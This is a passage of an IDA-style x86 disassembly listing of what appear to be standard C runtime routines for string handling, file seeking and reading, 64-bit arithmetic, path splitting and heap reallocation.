ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_414E53 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_414DF4 shr ecx, 2 jnz short loc_414E61 jmp short loc_414E15 ; --------------------------------------------------------------------------- loc_414DF4: ; CODE XREF: sub_414DD0+1Bj ; sub_414DD0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_414E22 test al, al jz short loc_414E2A test esi, 3 jnz short loc_414DF4 mov ebx, ecx shr ecx, 2 jnz short loc_414E61 loc_414E10: ; CODE XREF: sub_414DD0+8Fj and ebx, 3 jz short loc_414E22 loc_414E15: ; CODE XREF: sub_414DD0+22j ; sub_414DD0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_414E4E dec ebx jnz short loc_414E15 loc_414E22: ; CODE XREF: sub_414DD0+2Bj ; sub_414DD0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_414E2A: ; CODE XREF: sub_414DD0+2Fj test edi, 3 jz short loc_414E44 loc_414E32: ; CODE XREF: sub_414DD0+72j mov [edi], al inc edi dec ecx jz loc_414EC6 test edi, 3 jnz short loc_414E32 loc_414E44: ; CODE XREF: sub_414DD0+60j mov ebx, ecx shr ecx, 2 jnz short loc_414EB7 loc_414E4B: ; CODE XREF: sub_414DD0+7Fj ; sub_414DD0+F4j mov [edi], al inc edi loc_414E4E: ; CODE XREF: sub_414DD0+4Dj dec ebx jnz short loc_414E4B pop ebx pop esi loc_414E53: ; CODE XREF: sub_414DD0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_414E59: ; CODE XREF: sub_414DD0+A9j ; sub_414DD0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_414E10 loc_414E61: ; CODE XREF: sub_414DD0+20j ; sub_414DD0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_414E59 test dl, dl jz short loc_414EAB test dh, dh jz short loc_414EA1 test edx, 0FF0000h jz short loc_414E97 test edx, 0FF000000h jnz short loc_414E59 mov [edi], edx jmp short loc_414EAF ; --------------------------------------------------------------------------- loc_414E97: ; CODE XREF: sub_414DD0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_414EAF ; --------------------------------------------------------------------------- loc_414EA1: ; CODE XREF: sub_414DD0+B1j and edx, 0FFh mov [edi], edx jmp short loc_414EAF ; --------------------------------------------------------------------------- loc_414EAB: ; CODE XREF: sub_414DD0+ADj xor edx, edx mov [edi], edx loc_414EAF: ; CODE XREF: sub_414DD0+C5j ; sub_414DD0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_414EC1 loc_414EB7: ; CODE XREF: sub_414DD0+79j xor eax, eax loc_414EB9: ; CODE XREF: sub_414DD0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_414EB9 loc_414EC1: ; CODE XREF: sub_414DD0+E5j and ebx, 3 jnz short loc_414E4B loc_414EC6: ; CODE XREF: sub_414DD0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_414DD0 endp ; =============== S U B R O U T I N E ======================================= sub_414ECE proc near ; CODE XREF: seg000:004053C8p ; seg000:0040551Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_414F4A mov edi, [esp+8+arg_8] test edi, edi jz short loc_414EED cmp edi, 1 jz short loc_414EED cmp edi, 2 jnz short loc_414F4A loc_414EED: ; CODE XREF: sub_414ECE+13j ; sub_414ECE+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_414F04 push esi call sub_419CA9 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_414F04: ; CODE XREF: sub_414ECE+27j push esi call sub_416774 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_414F19 and al, 0FCh mov [esi+0Ch], eax jmp short loc_414F2D ; --------------------------------------------------------------------------- loc_414F19: ; CODE XREF: sub_414ECE+42j test al, 1 jz short loc_414F2D test al, 8 jz short loc_414F2D test ah, 4 jnz short loc_414F2D mov dword ptr [esi+18h], 200h loc_414F2D: ; CODE XREF: sub_414ECE+49j ; sub_414ECE+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_419C0F add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_414F57 ; --------------------------------------------------------------------------- loc_414F4A: ; CODE XREF: sub_414ECE+Bj ; sub_414ECE+1Dj mov ds:dword_45E804, 16h or eax, 0FFFFFFFFh loc_414F57: ; CODE XREF: sub_414ECE+7Aj pop edi pop esi retn sub_414ECE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F60 proc near ; CODE XREF: seg000:00405392p ; seg000:004053B3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_414F91 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_414F8F jz short loc_414F91 dec ecx dec ecx loc_414F8F: ; CODE XREF: sub_414F60+29j not ecx loc_414F91: ; CODE XREF: sub_414F60+9j ; sub_414F60+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_414F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414FA0 proc near ; CODE XREF: sub_4055DD+5Cp ; sub_4055DD+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_415054 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_414FCA loc_414FBB: ; CODE XREF: sub_414FA0+28j mov al, [edi] inc edi test al, al jz short loc_414FFB test edi, 3 jnz short loc_414FBB loc_414FCA: ; CODE XREF: sub_414FA0+19j ; sub_414FA0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_414FCA mov eax, [edi-4] test al, al jz short loc_415008 test ah, ah jz short loc_415003 test eax, 0FF0000h jz short loc_414FFE test eax, 0FF000000h jnz short loc_414FCA loc_414FFB: ; CODE XREF: sub_414FA0+20j dec edi jmp short loc_41500B ; --------------------------------------------------------------------------- loc_414FFE: ; CODE XREF: sub_414FA0+52j sub edi, 2 jmp short loc_41500B ; --------------------------------------------------------------------------- loc_415003: ; CODE XREF: sub_414FA0+4Bj sub edi, 3 jmp short loc_41500B ; --------------------------------------------------------------------------- loc_415008: ; CODE XREF: sub_414FA0+47j sub edi, 4 loc_41500B: ; CODE XREF: sub_414FA0+5Cj ; sub_414FA0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_415020 mov ebx, ecx shr ecx, 2 jnz short loc_41506C jmp short loc_41503C ; --------------------------------------------------------------------------- loc_415020: ; CODE XREF: sub_414FA0+75j ; sub_414FA0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41505A mov [edi], dl inc edi dec ecx jz short loc_415050 test esi, 3 jnz short loc_415020 mov ebx, ecx shr ecx, 2 jnz short loc_41506C loc_41503C: ; CODE XREF: sub_414FA0+7Ej ; sub_414FA0+CAj mov ecx, ebx and ecx, 3 jz short loc_415050 loc_415043: ; CODE XREF: sub_414FA0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_415052 dec ecx jnz short loc_415043 loc_415050: ; CODE XREF: sub_414FA0+8Bj ; sub_414FA0+A1j mov [edi], cl loc_415052: ; CODE XREF: sub_414FA0+ABj pop ebx pop esi loc_415054: ; CODE XREF: sub_414FA0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41505A: ; CODE XREF: sub_414FA0+85j ; sub_414FA0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_415064: ; CODE XREF: sub_414FA0+E4j ; sub_414FA0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41503C loc_41506C: ; CODE XREF: sub_414FA0+7Cj ; sub_414FA0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_415064 test dl, dl jz short loc_41505A test dh, dh jz short loc_4150B8 test edx, 0FF0000h jz short loc_4150A8 test edx, 0FF000000h jnz short loc_415064 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4150A8: ; CODE XREF: sub_414FA0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4150B8: ; CODE XREF: sub_414FA0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_414FA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150D0 proc near ; CODE XREF: sub_40571E+2A2p ; seg000:0040E40Ap ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_4150F1 xor eax, eax jmp short loc_4150F3 ; --------------------------------------------------------------------------- loc_4150F1: ; CODE XREF: sub_4150D0+1Bj mov eax, edi loc_4150F3: ; CODE XREF: sub_4150D0+1Fj cld pop edi leave retn sub_4150D0 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_415110 loc_415100: ; CODE XREF: sub_415110+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_415110 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415110 proc near ; CODE XREF: sub_406A7B+DBp ; seg000:0040B76Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00415100 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_415116: ; CODE XREF: sub_413B80+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41513B loc_415128: ; CODE XREF: sub_415110+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_415100 test cl, cl jz short loc_415184 test edx, 3 jnz short loc_415128 loc_41513B: ; CODE XREF: sub_415110+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_415146: ; CODE XREF: sub_415110+61j ; sub_415110+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_415188 and eax, 81010100h jz short loc_415146 and eax, 1010100h jnz short loc_415182 and esi, 80000000h jnz short loc_415146 loc_415182: ; CODE XREF: sub_415110+68j ; sub_415110+81j ... pop esi pop edi loc_415184: ; CODE XREF: sub_415110+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_415188: ; CODE XREF: sub_415110+5Aj mov eax, [edx-4] cmp al, bl jz short loc_4151C5 test al, al jz short loc_415182 cmp ah, bl jz short loc_4151BE test ah, ah jz short loc_415182 shr eax, 10h cmp al, bl jz short loc_4151B7 test al, al jz short loc_415182 cmp ah, bl jz short loc_4151B0 test ah, ah jz short loc_415182 jmp short loc_415146 ; --------------------------------------------------------------------------- loc_4151B0: ; CODE XREF: sub_415110+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_4151B7: ; CODE XREF: sub_415110+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4151BE: ; CODE XREF: sub_415110+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4151C5: ; CODE XREF: sub_415110+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_415110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151CC proc near ; CODE XREF: sub_406A7B+AFp ; seg000:0040F7D4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_4151E0 xor eax, eax jmp short loc_415216 ; --------------------------------------------------------------------------- loc_4151E0: ; CODE XREF: sub_4151CC+Ej dec [ebp+arg_4] push esi jz short loc_415210 mov esi, [ebp+arg_8] loc_4151E9: ; CODE XREF: sub_4151CC+42j dec dword ptr [esi+4] js short loc_4151F8 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_4151FF ; --------------------------------------------------------------------------- loc_4151F8: ; CODE XREF: sub_4151CC+20j push esi call sub_419940 pop ecx loc_4151FF: ; CODE XREF: sub_4151CC+2Aj cmp eax, 0FFFFFFFFh jz short loc_41521A mov [edi], al inc edi cmp al, 0Ah jz short loc_415210 dec [ebp+arg_4] jnz short loc_4151E9 loc_415210: ; CODE XREF: sub_4151CC+18j ; sub_4151CC+3Dj ... and byte ptr [edi], 0 loc_415213: ; CODE XREF: sub_4151CC+55j mov eax, ebx pop esi loc_415216: ; CODE XREF: sub_4151CC+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41521A: ; CODE XREF: sub_4151CC+36j cmp edi, [ebp+arg_0] jnz short loc_415210 xor ebx, ebx jmp short loc_415213 sub_4151CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415223 proc near ; CODE XREF: sub_407FCC+6p ; sub_407FEA+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_45E898, 0 push ebx push esi push edi jnz short loc_415250 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4152E9 cmp eax, 5Ah jg loc_4152E9 add eax, 20h jmp loc_4152E9 ; --------------------------------------------------------------------------- loc_415250: ; CODE XREF: sub_415223+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_415284 cmp ds:dword_42D2FC, esi jle short loc_415272 push esi push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_41527C ; --------------------------------------------------------------------------- loc_415272: ; CODE XREF: sub_415223+42j mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, esi loc_41527C: ; CODE XREF: sub_415223+4Dj test eax, eax jnz short loc_415284 loc_415280: ; CODE XREF: sub_415223+ADj mov eax, ebx jmp short loc_4152E9 ; --------------------------------------------------------------------------- loc_415284: ; CODE XREF: sub_415223+3Aj ; sub_415223+5Bj mov edx, ds:off_42D0F0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4152A8 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4152B1 ; --------------------------------------------------------------------------- loc_4152A8: ; CODE XREF: sub_415223+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4152B1: ; CODE XREF: sub_415223+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push ds:dword_45E898 call loc_419E01 add esp, 20h test eax, eax jz short loc_415280 cmp eax, esi jnz short loc_4152DC movzx eax, [ebp+var_4] jmp short loc_4152E9 ; --------------------------------------------------------------------------- loc_4152DC: ; CODE XREF: sub_415223+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4152E9: ; CODE XREF: sub_415223+16j ; sub_415223+1Fj ... pop edi pop esi pop ebx leave retn sub_415223 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4152F0 proc near ; CODE XREF: sub_408EC3+3Dp ; sub_40A6A6+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_415311 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_415361 ; --------------------------------------------------------------------------- loc_415311: ; CODE XREF: sub_4152F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41531F: ; CODE XREF: sub_4152F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41531F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41534A cmp edx, [esp+4+arg_4] ja short loc_41534A jb short loc_415352 cmp eax, [esp+4+arg_0] jbe short loc_415352 loc_41534A: ; CODE XREF: sub_4152F0+4Aj ; sub_4152F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_415352: ; CODE XREF: sub_4152F0+52j ; sub_4152F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_415361: ; CODE XREF: sub_4152F0+1Fj pop ebx retn 10h sub_4152F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415370 proc near ; CODE XREF: sub_408EC3+24p ; sub_40A6A6+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_415392 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4153D3 ; --------------------------------------------------------------------------- loc_415392: ; CODE XREF: sub_415370+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4153A0: ; CODE XREF: sub_415370+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4153A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4153CE cmp edx, [esp+8+arg_4] ja short loc_4153CE jb short loc_4153CF cmp eax, [esp+8+arg_0] jbe short loc_4153CF loc_4153CE: ; CODE XREF: sub_415370+4Ej ; sub_415370+54j dec esi loc_4153CF: ; CODE XREF: sub_415370+56j ; sub_415370+5Cj xor edx, edx mov eax, esi loc_4153D3: ; CODE XREF: sub_415370+20j pop esi pop ebx retn 10h sub_415370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153D8 proc near ; CODE XREF: sub_408F79+1E3p ; seg000:0040AC17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_413DB0 cmp eax, 1 pop ecx jb short loc_415413 cmp byte ptr [ebx+1], 3Ah jnz short loc_415413 mov esi, [ebp+arg_4] test esi, esi jz short loc_41540F push 2 push ebx push esi call sub_41A430 add esp, 0Ch and byte ptr [esi+2], 0 loc_41540F: ; CODE XREF: sub_4153D8+25j inc ebx inc ebx jmp short loc_41541D ; --------------------------------------------------------------------------- loc_415413: ; CODE XREF: sub_4153D8+18j ; sub_4153D8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41541D and byte ptr [eax], 0 loc_41541D: ; CODE XREF: sub_4153D8+39j ; sub_4153D8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_415495 loc_415430: ; CODE XREF: sub_4153D8+87j mov cl, [eax] movzx edx, cl test ds:byte_45FD41[edx], 4 jz short loc_415441 inc eax jmp short loc_41545B ; --------------------------------------------------------------------------- loc_415441: ; CODE XREF: sub_4153D8+64j cmp cl, 2Fh jz short loc_415455 cmp cl, 5Ch jz short loc_415455 cmp cl, 2Eh jnz short loc_41545B mov [ebp+var_4], eax jmp short loc_41545B ; --------------------------------------------------------------------------- loc_415455: ; CODE XREF: sub_4153D8+6Cj ; sub_4153D8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41545B: ; CODE XREF: sub_4153D8+67j ; sub_4153D8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_415430 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_415495 cmp [ebp+arg_8], 0 jz short loc_415490 sub edi, ebx cmp edi, esi jb short loc_415479 mov edi, esi loc_415479: ; CODE XREF: sub_4153D8+9Dj push edi push ebx push [ebp+arg_8] call sub_41A430 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_415490: ; CODE XREF: sub_4153D8+97j mov ebx, [ebp+arg_4] jmp short loc_41549F ; --------------------------------------------------------------------------- loc_415495: ; CODE XREF: sub_4153D8+56j ; sub_4153D8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41549F and byte ptr [ecx], 0 loc_41549F: ; CODE XREF: sub_4153D8+BBj ; sub_4153D8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4154F2 cmp edi, ebx jb short loc_4154F2 cmp [ebp+arg_C], 0 jz short loc_4154CF sub edi, ebx cmp edi, esi jb short loc_4154B8 mov edi, esi loc_4154B8: ; CODE XREF: sub_4153D8+DCj push edi push ebx push [ebp+arg_C] call sub_41A430 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4154CF: ; CODE XREF: sub_4153D8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41551A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4154DF mov esi, eax loc_4154DF: ; CODE XREF: sub_4153D8+103j push esi push [ebp+var_4] push edi call sub_41A430 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41551A ; --------------------------------------------------------------------------- loc_4154F2: ; CODE XREF: sub_4153D8+CCj ; sub_4153D8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_415510 sub eax, ebx cmp eax, esi jnb short loc_415501 mov esi, eax loc_415501: ; CODE XREF: sub_4153D8+125j push esi push ebx push edi call sub_41A430 add esp, 0Ch and byte ptr [esi+edi], 0 loc_415510: ; CODE XREF: sub_4153D8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41551A and byte ptr [eax], 0 loc_41551A: ; CODE XREF: sub_4153D8+FCj ; sub_4153D8+118j ... pop edi pop esi pop ebx leave retn sub_4153D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41551F proc near ; CODE XREF: sub_409689+19p ; sub_41106A+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_415DDC add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41555D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41556A ; --------------------------------------------------------------------------- loc_41555D: ; CODE XREF: sub_41551F+34j lea eax, [ebp+var_20] push eax push 0 call sub_415CC7 pop ecx pop ecx loc_41556A: ; CODE XREF: sub_41551F+3Cj mov eax, esi pop esi leave retn sub_41551F endp ; =============== S U B R O U T I N E ======================================= sub_41556F proc near ; CODE XREF: sub_4098E7+2Ep ; sub_414863+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_41558A push [esp+10h+arg_4] call sub_413E5F pop ecx jmp loc_41568A ; --------------------------------------------------------------------------- loc_41558A: ; CODE XREF: sub_41556F+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_4155A0 push ebx call sub_413ED3 pop ecx loc_415599: ; CODE XREF: sub_41556F+114j xor eax, eax jmp loc_41568A ; --------------------------------------------------------------------------- loc_4155A0: ; CODE XREF: sub_41556F+21j ; sub_41556F+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41566B push ebx call sub_416B8D mov ebp, eax pop ecx test ebp, ebp jz loc_415648 cmp esi, ds:dword_42D30C ja short loc_415608 push esi push ebx push ebp call sub_417398 add esp, 0Ch test eax, eax jz short loc_4155D7 mov edi, ebx jmp short loc_415600 ; --------------------------------------------------------------------------- loc_4155D7: ; CODE XREF: sub_41556F+62j push esi call sub_416EE3 mov edi, eax pop ecx test edi, edi jz short loc_415608 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4155EE mov eax, esi loc_4155EE: ; CODE XREF: sub_41556F+7Bj push eax push ebx push edi call sub_413690 push ebx push ebp call sub_416BB8 add esp, 14h loc_415600: ; CODE XREF: sub_41556F+66j test edi, edi jnz loc_415688 loc_415608: ; CODE XREF: sub_41556F+53j ; sub_41556F+73j test esi, esi jnz short loc_41560F push 1 pop esi loc_41560F: ; CODE XREF: sub_41556F+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_45FE60 call ds:dword_41F140 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41566B mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_415634 mov eax, esi loc_415634: ; CODE XREF: sub_41556F+C1j push eax push ebx push edi call sub_413690 push ebx push ebp call sub_416BB8 add esp, 14h jmp short loc_415667 ; --------------------------------------------------------------------------- loc_415648: ; CODE XREF: sub_41556F+47j test esi, esi jnz short loc_41564F push 1 pop esi loc_41564F: ; CODE XREF: sub_41556F+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push ds:dword_45FE60 call ds:dword_41F154 ; RtlReAllocateHeap mov edi, eax loc_415667: ; CODE XREF: sub_41556F+D7j test edi, edi jnz short loc_415688 loc_41566B: ; CODE XREF: sub_41556F+36j ; sub_41556F+B9j cmp ds:dword_45E864, 0 jz short loc_415688 push esi call sub_416AF8 test eax, eax pop ecx jnz loc_4155A0 jmp loc_415599 ; --------------------------------------------------------------------------- loc_415688: ; CODE XREF: sub_41556F+93j ; sub_41556F+FAj ... mov eax, edi loc_41568A: ; CODE XREF: sub_41556F+16j ; sub_41556F+2Cj pop edi pop esi pop ebp pop ebx retn sub_41556F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41568F proc near ; CODE XREF: sub_409F42+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_4156B3 xor eax, eax jmp loc_415780 ; --------------------------------------------------------------------------- loc_4156B3: ; CODE XREF: sub_41568F+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_4156C6 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_4156CD ; --------------------------------------------------------------------------- loc_4156C6: ; CODE XREF: sub_41568F+2Dj mov [ebp+arg_C], 1000h loc_4156CD: ; CODE XREF: sub_41568F+35j ; sub_41568F+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_415701 mov eax, [esi+4] test eax, eax jz short loc_415701 cmp ebx, eax mov edi, ebx jb short loc_4156E7 mov edi, eax loc_4156E7: ; CODE XREF: sub_41568F+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_413690 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_415747 ; --------------------------------------------------------------------------- loc_415701: ; CODE XREF: sub_41568F+47j ; sub_41568F+4Ej cmp ebx, [ebp+arg_C] jb short loc_41574C test ecx, ecx jz short loc_415715 push esi call sub_416774 test eax, eax pop ecx jnz short loc_41578E loc_415715: ; CODE XREF: sub_41568F+79j cmp [ebp+arg_C], 0 jz short loc_415728 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41572A ; --------------------------------------------------------------------------- loc_415728: ; CODE XREF: sub_41568F+8Aj mov 